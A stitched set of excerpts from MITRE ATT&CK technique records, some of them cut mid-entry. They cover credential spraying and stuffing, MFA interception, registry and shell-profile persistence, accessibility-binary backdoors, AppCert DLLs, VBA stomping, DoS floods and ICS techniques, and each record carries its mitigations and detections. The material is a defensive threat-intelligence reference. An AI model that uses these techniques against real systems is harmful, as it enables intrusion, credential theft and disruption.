it has been granted. In AWS, users with the `PassRole` permission can allow a service they create to assume a given role, while in GCP, users with the `iam.serviceAccountUser` role can attach a service account to a resource.\n\nWhile users require specific role assignments in order to use any of these features, cloud administrators may misconfigure permissions. This could result in escalation paths that allow adversaries to gain access to resources beyond what was originally intended. […]"}]}

Each module stream has a `PerformanceCache` that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the `_VBA_PROJECT` stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.\n\nAn adversary may hide malicious VBA code by overwriting the VBA source code location with zero’s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the `_VBA_PROJECT` stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1564 Hide Artifacts - Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.\n\n**Mitigations.** - **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries.

Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the `New-InboxRule` or `Set-InboxRule` PowerShell cmdlets on Windows systems.\n\nAdversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to Internal Spearphishing emails sent from the compromised account.\n\nAny user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as `malware`, `suspicious`, `phish`, and `hack`) found in message bodies and subject lines.\n\nIn some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions. Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications).\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows, Linux, macOS, Office Suite\n- Sub-technique of: T1564 Hide Artifacts - Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.\n\n**Mitigations.** - **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations.

A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code. Usage of a resource fork is identifiable when displaying a file’s extended attributes, using `ls -l@` or `xattr -l` commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the `/Resources` folder.\n\nAdversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.\n\n**Classification.** - Tactics: stealth\n- Platforms: macOS\n- Sub-technique of: T1564 Hide Artifacts - Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.\n\n**Mitigations.** - **Application Developer Guidance**: Application Developer Guidance focuses on providing developers with the knowledge, tools, and best practices needed to write secure code, reduce vulnerabilities, and implement secure design principles.

OS Credential Dumping can be used to obtain password hashes, this may only get an adversary so far when Pass the Hash is not an option. Further, adversaries may leverage Data from Configuration Repository in order to obtain hashed credentials for network devices.\n\nTechniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network. The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.\n\n**Classification.** - Tactics: credential-access\n- Platforms: Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows\n- Sub-technique of: T1110 Brute Force - Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.

Strong password policies include enforcing password complexity, requiring regular password changes, and preventing password reuse. This mitigation can be implemented through the following measures:\n- **Multi-factor Authentication**: Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. […]\n\n## Reference: ATT&CK T1110.003 Password Spraying\n**ATT&CK T1110.003 Password Spraying (full record).** Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords.\n\nTypically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.\n\nIn order to avoid detection thresholds, adversaries may deliberately throttle password spraying attempts to avoid triggering security alerting. Additionally, adversaries may leverage LDAP and Kerberos authentication attempts, which are less likely to trigger high-visibility events such as Windows \"logon failure\" event ID 4625 that is commonly triggered by failed SMB connection attempts.\n\n**Classification.** - Tactics: credential-access\n- Platforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\n- Sub-technique of: T1110 Brute Force - Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. […]\n\n## Reference: ATT&CK T1110.004 Credential Stuffing\n**ATT&CK T1110.004 Credential Stuffing (full record).** Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nCredential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.\n\nTypically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.\n\n**Classification.** - Tactics: credential-access\n- Platforms: Containers, ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, SaaS, Windows\n- Sub-technique of: T1110 Brute Force - Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.

[…]\n\n## Reference: ATT&CK T1111 Multi-Factor Authentication Interception\n**ATT&CK T1111 Multi-Factor Authentication Interception (full record).** Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms.\n\nIf a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token.\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes).\n\nOther methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users’ phones.\n\n**Classification.** - Tactics: credential-access\n- Platforms: Linux, macOS, Windows\n\n**Mitigations.** - **User Training**: User Training involves educating employees and contractors on recognizing, reporting, and preventing cyber threats that rely on human interaction, such as phishing, social engineering, and other manipulative techniques. Comprehensive training programs create a human firewall by empowering users to be an active component of the organization's cybersecurity defenses. […]\n\n## Reference: ATT&CK T1112 Modify Registry\n**ATT&CK T1112 Modify Registry (full record).** Adversaries may interact with the Windows Registry as part of a variety of other techniques to aid in defense evasion, persistence, and execution.\n\nAccess to specific areas of the Registry depends on account permissions, with some keys requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification. Other tools, such as remote access tools, may also contain functionality to interact with the Registry through the Windows API.\n\nThe Registry may be modified in order to hide configuration information or malicious payloads via Obfuscated Files or Information. The Registry may also be modified to impair defenses, such as by enabling macros for all Microsoft Office products, allowing privilege escalation without alerting the user, increasing the maximum number of allowed outbound requests, and/or modifying systems to store plaintext credentials in memory.\n\nThe Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. Often Valid Accounts are required, along with access to the remote system's SMB/Windows Admin Shares for RPC communication.\n\nFinally, Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via Reg or other utilities using the Win32 API. Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence.\n\n**Classification.** - Tactics: defense-impairment, persistence\n- Platforms: Windows\n\n**Mitigations.** - **Restrict Registry Permissions**: Restricting registry permissions involves configuring access control settings for sensitive registry keys and hives to ensure that only authorized users or processes can make modifications.

Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes and to support other malicious activities, including distraction, hacktivism, and extortion.\n\nAn Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nBotnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. […]\n\n## Reference: ATT&CK T1499.001 OS Exhaustion Flood\n**ATT&CK T1499.001 OS Exhaustion Flood (full record).** Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes.\n\nDifferent ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods. With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.\n\nACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.\n\n**Classification.** - Tactics: impact\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1499 Endpoint Denial of Service - Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users.

Adversaries often target the availability of DNS and web services, however others have been targeted as well. Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\n\nOne example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.\n\nAnother variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.\n\n**Classification.** - Tactics: impact\n- Platforms: Windows, IaaS, Linux, macOS\n- Sub-technique of: T1499 Endpoint Denial of Service - Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users.

A variety of online services and initial access broker networks are available to sell access to previously compromised systems. In some cases, adversary groups may form partnerships to share compromised systems with each other.\n\nFootholds to compromised systems may take a variety of forms, such as access to planted backdoors (e.g., Web Shell) or established access via External Remote Services.

Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.\n\nThese resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs. In Docker, logs may leak information about the environment, such as the environment’s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary’s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution.\n\n**Classification.** - Tactics: discovery\n- Platforms: Containers\n\n**Mitigations.** - **Network Segmentation**: Network segmentation involves dividing a network into smaller, isolated segments to control and limit the flow of traffic between devices, systems, and applications.

This could be used for adversary goals such as audio surveillance, blocking or forwarding calls from the device owner, or C2 communication.\n\nSeveral permissions may be used to programmatically control phone calls, including:\n\n* `ANSWER_PHONE_CALLS` - Allows the application to answer incoming phone calls\n* `CALL_PHONE` - Allows the application to initiate a phone call without going through the Dialer interface\n* `PROCESS_OUTGOING_CALLS` - Allows the application to see the number being dialed during an outgoing call with the option to redirect the call to a different number or abort the call altogether\n* `MANAGE_OWN_CALLS` - Allows a calling application which manages its own calls through the self-managed `ConnectionService` APIs\n* `BIND_TELECOM_CONNECTION_SERVICE` - Required permission when using a `ConnectionService`\n* `WRITE_CALL_LOG` - Allows an application to write to the device call log, potentially to hide malicious phone calls\n\nWhen granted some of these permissions, an application can make a phone call without opening the dialer first. However, if an application desires to simply redirect the user to the dialer with a phone number filled in, it can launch an Intent using `Intent.ACTION_DIAL`, which requires no specific permissions. This then requires the user to explicitly initiate the call or use some form of Input Injection to programmatically initiate it.\n\n**Classification.** - Tactics: collection, impact, command-and-control\n- Platforms: Android\n\n**Mitigations.** - **User Guidance**: Describes any guidance or training given to users to set particular configuration settings or avoid specific potentially risky behaviors.\n\n**Detection strategies and analytics.** - **Detection of Call Control**\n  - For Android, detect Call Control from documented management, network, or vetting evidence; treat state queries as periodic observations rather than real-time events.

User Unix Shells execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (`/etc`) and the user’s home directory (`~/`) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.\n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the `/etc/profile` and `/etc/profile.d` files. These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into `~/.bash_profile`, `~/.bash_login`, or `~/.profile` which are sourced when a user opens a command-line interface or connects remotely. Since the system only executes the first existing file in the listed order, adversaries have used `~/.bash_profile` to ensure execution. Adversaries have also leveraged the `~/.bashrc` file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface. Some malware targets the termination of a program to trigger execution, adversaries can use the `~/.bash_logout` file to execute malicious commands at the end of a session.\n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. […]\n\n## Reference: ATT&CK T1546.006 LC_LOAD_DYLIB Addition\n**ATT&CK T1546.006 LC_LOAD_DYLIB Addition (full record).** Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies. There are tools available to perform these changes.\n\nAdversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time.\n\n**Classification.** - Tactics: privilege-escalation, persistence\n- Platforms: macOS\n- Sub-technique of: T1546 Event Triggered Execution - Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries.\n\n**Mitigations.** - **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n- **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n- **Code Signing**: Code Signing is a security process that ensures the authenticity and integrity of software by digitally signing executables, scripts, and other code artifacts. […]\n\n## Reference: ATT&CK T1546.008 Accessibility Features\n**ATT&CK T1546.008 Accessibility Features (full record).** Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are `C:\\Windows\\System32\\sethc.exe`, launched when the shift key is pressed five times and `C:\\Windows\\System32\\utilman.exe`, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen.\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in `%systemdir%\\`, and it must be protected by Windows File or Resource Protection (WFP/WRP). The Image File Execution Options Injection debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., `C:\\Windows\\System32\\utilman.exe`) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges. […]\n\n## Reference: ATT&CK T1546.009 AppCert DLLs\n**ATT&CK T1546.009 AppCert DLLs (full record).** Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the `AppCertDLLs` Registry key under `HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\` are loaded into every process that calls the ubiquitously used application programming interface (API) functions `CreateProcess`, `CreateProcessAsUser`, `CreateProcessWithLoginW`, `CreateProcessWithTokenW`, or `WinExec`.\n\nSimilar to Process Injection, this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity.\n\n**Classification.** - Tactics: privilege-escalation, persistence\n- Platforms: Windows\n- Sub-technique of: T1546 Event Triggered Execution - Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries.\n\n**Mitigations.** - **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Detection Strategy for AppCert DLLs Persistence via Registry Injection**\n  - Detection of AppCert DLL abuse involves correlating registry modifications to the AppCertDLLs key with subsequent unexpected DLL load behavior during process creation events. Specifically, defenders can observe abnormal DLLs being loaded into standard Windows processes after changes to the 'AppCertDLLs' registry value. Monitoring CreateProcess-family API executions with injected DLLs and linking those DLLs back to recent registry edits is key to identifying misuse. This is often accompanied by elevated privileges and potential lateral movement or discovery behavior. […]"}]}

These logs may highlight various types of valuable insights for an adversary, such as user authentication records (Account Discovery), security or vulnerable software (Software Discovery), or hosts within a compromised network (Remote System Discovery).\n\nHost binaries may be leveraged to collect system logs. Examples include using `wevtutil.exe` or PowerShell on Windows to access and/or export security event information. In cloud environments, adversaries may leverage utilities such as the Azure VM Agent’s `CollectGuestLogs.exe` to collect security logs from cloud hosted infrastructure.\n\nAdversaries may also target centralized logging infrastructure such as SIEMs. Logs may also be bulk exported and sent to adversary-controlled infrastructure for offline analysis.\n\nIn addition to gaining a better understanding of the environment, adversaries may also monitor logs in real time to track incident response procedures. This may allow them to adjust their techniques in order to maintain persistence or evade defenses.\n\n## Reference: ATT&CK T0843.003 Program Append\n**ATT&CK T0843.003 Program Append (full record).** Adversaries may execute a program append to a PLC to update parts of an existing program. It may or may not require stopping the PLC which may allow it to continue running during transfer and reconfiguration without interruption to process control. Adversaries may leverage this approach to minimize downtime and evade detection.\n\nThe ability to perform a program append to the PLC typically relies on access to a workstation with the vendor-specific PLC programming software installed.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Embedded\n- Sub-technique of: T0843 Program Download - Adversaries may perform a program download to transfer a user program to a controller.\n\n**Mitigations.** - **Filter Network Traffic**: Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic. Perform inline allow/denylisting of network messages based on the application layer (OSI Layer 7) protocol, especially for automation protocols. Application allowlists are beneficial when there are well-defined communication sequences, types, rates, or patterns needed during expected system operations.\n- **Software Process and Device Authentication**: Require the authentication of devices and software processes where appropriate. Devices that connect remotely to other systems should require strong authentication to prevent spoofing of communications. Furthermore, software processes should also require authentication when accessing APIs.\n- **Network Allowlists**: Network allowlists can be implemented through either host-based files or system hosts files to specify what connections (e.g., IP address, MAC address, port, protocol) can be made from a device. Allowlist techniques that operate at the application layer (e.g., DNP3, Modbus, HTTP) are addressed in Filter Network Traffic mitigation.\n- **Human User Authentication**: Require user authentication before allowing access to data or accepting commands to a device. While strong multi-factor authentication is preferable, it is not always feasible within ICS environments. Performing strong user authentication also requires additional security controls and processes which are often the target of related adversarial techniques (e.g., Valid Accounts, Default Credentials). […]\n\n## Reference: ATT&CK T0845 Program Upload\n**ATT&CK T0845 Program Upload (full record).** Adversaries may attempt to upload a program from a PLC to gather information about an industrial process. Uploading a program may allow them to acquire and study the underlying logic. Methods of program upload include vendor software, which enables the user to upload and read a program running on a PLC. This software can be used to upload the target program to a workstation, jump box, or an interfacing device.\n\n**Classification.** - Tactics: collection\n- Platforms: Embedded\n\n**Mitigations.** - **Software Process and Device Authentication**: Require the authentication of devices and software processes where appropriate. Devices that connect remotely to other systems should require strong authentication to prevent spoofing of communications. Furthermore, software processes should also require authentication when accessing APIs.\n- **Communication Authenticity**: When communicating over an untrusted network, utilize secure network protocols that both authenticate the message sender and can verify its integrity. This can be done either through message authentication codes (MACs) or digital signatures, to detect spoofed network messages and unauthorized connections.\n- **Authorization Enforcement**: The device or system should restrict read, manipulate, or execute privileges to only authenticated users who require access based on approved security policies. Role-based Access Control (RBAC) schemes can help reduce the overhead of assigning permissions to the large number of devices within an ICS. For example, IEC 62351 provides examples of roles used to support common system operations within the electric power sector, while IEEE 1686 defines standard permissions for users of IEDs.\n- **Access Management**: Access Management technologies can be used to enforce authorization polices and decisions, especially when existing field devices do not provide sufficient capabilities to support user identification and authentication. These technologies typically utilize an in-line network device or gateway system to prevent access to unauthenticated users, while also integrating with an authentication service to first verify user credentials.\n- **Network Segmentation**: Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information.

In addition, prevent systems from other networks or business functions (e.g., enterprise) from accessing critical process control systems.\n- **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries. In industrial control environments, network intrusion prevention should be configured so it will not disrupt protocols and communications responsible for real-time functions related to control or safety.

Broadcast discovery works by one system or device sending messages to all systems and devices on a network (or subnet) and then waiting for a response. If a response is received that means the system or device that responded is live and can communicate over that protocol. Adversaries may leverage different protocols supported on the network for sending broadcast messages.\n\nSome common OT protocols that have broadcast discovery mechanisms are Building Automation and Control Network (BACNet) Who-Is requests, Common Industrial Protocol (CIP) List Identity User Datagram Protocol (UDP) broadcast requests, and Siemens S7 broadcast identification requests.\n\n**Classification.** - Tactics: discovery\n- Platforms: Embedded, Windows, Linux, Network Devices\n- Sub-technique of: T0846 Remote System Discovery - Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for subsequent Lateral Movement or Discovery techniques.\n\n**Mitigations.** - **Network Segmentation**: Architect sections of the network to isolate critical systems, functions, or resources.

The operating system and installed applications often have legitimate needs to prompt the user for sensitive information such as account credentials, bank account information, or Personally Identifiable Information (PII). Compared to traditional PCs, the constrained display size of mobile devices may impair the ability to provide users with contextual information, making users more susceptible to this technique’s use.\n\nThere are several approaches adversaries may use to mimic this functionality. Adversaries may impersonate the identity of a legitimate application (e.g. use the same application name and/or icon) and, when installed on the device, may prompt the user for sensitive information. Adversaries may also send fake device notifications to the user that may trigger the display of an input prompt when clicked.\n\nAdditionally, adversaries may display a prompt on top of a running, legitimate application to trick users into entering sensitive information into a malicious application rather than the legitimate application. Typically, adversaries need to know when the targeted application and the individual activity within the targeted application is running in the foreground to display the prompt at the proper time. Adversaries can abuse Android’s accessibility features to determine which application is currently in the foreground. Two known approaches to displaying a prompt include:\n\n* Adversaries start a new activity on top of a running legitimate application. Android 10 places new restrictions on the ability for an application to start a new activity on top of another application, which may make it more difficult for adversaries to utilize this technique.\n* Adversaries create an application overlay window on top of a running legitimate application. Applications must hold the `SYSTEM_ALERT_WINDOW` permission to create overlay windows. This permission is handled differently than typical Android permissions and, at least under certain conditions, is automatically granted to applications installed from the Google Play Store. The `SYSTEM_ALERT_WINDOW` permission and its associated ability to create application overlay windows are expected to be deprecated in a future release of Android in favor of a new API.

In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.\n\nMobile devices may also be used to infect PCs with malware if connected via USB. This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables. For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive.

Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as Windows Remote Management and VNC can also be used externally.\n\nAccess to Valid Accounts to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as a redundant or persistent access mechanism during an operation.\n\nAccess may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.\n\nAdversaries may also establish persistence on network by configuring a Tor hidden service on a compromised system. Adversaries may utilize the tool `ShadowLink` to facilitate the installation and configuration of the Tor hidden service. Tor hidden service is then accessible via the Tor network because `ShadowLink` sets up a.onion address on the compromised system. `ShadowLink` may be used to forward any inbound connections to RDP, allowing the adversaries to have remote access. Adversaries may get `ShadowLink` to persist on a system by masquerading it as an MS Defender application.\n\n**Classification.** - Tactics: persistence, initial-access\n- Platforms: Containers, Linux, macOS, Windows\n\n**Mitigations.** - **Restrict Web-Based Content**: Restricting web-based content involves enforcing policies and technologies that limit access to potentially malicious websites, unsafe downloads, and unauthorized browser behaviors. This can include URL filtering, download restrictions, script blocking, and extension control to protect against exploitation, phishing, and malware delivery. This mitigation can be implemented through the following measures:\n- **Network Segmentation**: Network segmentation involves dividing a network into smaller, isolated segments to control and limit the flow of traffic between devices, systems, and applications. […]\n\n## Reference: ATT&CK T1134 Access Token Manipulation\n**ATT&CK T1134 Access Token Manipulation (full record).** Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\n\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. Token Impersonation/Theft) or used to spawn a new process (i.e. Create Process with Token). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a 